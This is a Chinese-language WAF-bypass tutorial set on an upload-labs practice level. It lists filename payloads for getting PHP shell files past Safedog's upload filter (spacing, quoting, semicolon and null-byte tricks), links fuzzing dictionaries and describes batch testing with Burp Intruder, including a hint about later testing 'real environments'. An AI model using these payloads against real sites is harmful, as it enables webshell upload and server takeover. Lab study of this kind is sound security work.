Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改
我以靶场upload-labs第二关进行演示。
我们开启安全狗的上传防护:
第2关上传一个php文件,被安全狗检测到且被拦截:
php加上空格"ph p",可上传,但无法解析。
可用payload:
filename=" xx.php filename="x x.php filename=' xx.php filename='x x.php
可用payload:
filename="x.jpg;shell.php" filename="x.jpg;shell.php filename='x.jpg;shell.php filename="shell.php%00xx.jpg" 注意%00要编码
filename="x.jpg;shell.php filename='x.jpg;shell.php ·····
可用payload:
x.ph p x.p h p x. p h p x . p h p
payload:
filename="/jpeg;x.php" filename="/jpeg;/x.php"
字典地址:
https://github.com/TheKingOfDuck/fuzzDicts https://github.com/fuzzdb-project/fuzzdb
手工测试的话有点麻烦,我们可以借助写好的字典配合BP进行批量测试,先在本地测试好了,再在真实环境进行测试,以防会封IP。
我借助fuzzDicts的php字典进行测试。
首先将拦截的数据包发送至Intruder
清除所有变量
将filename的值设置为变量
payload加载字典:
开始攻击:
能否成功取决于字典的好坏。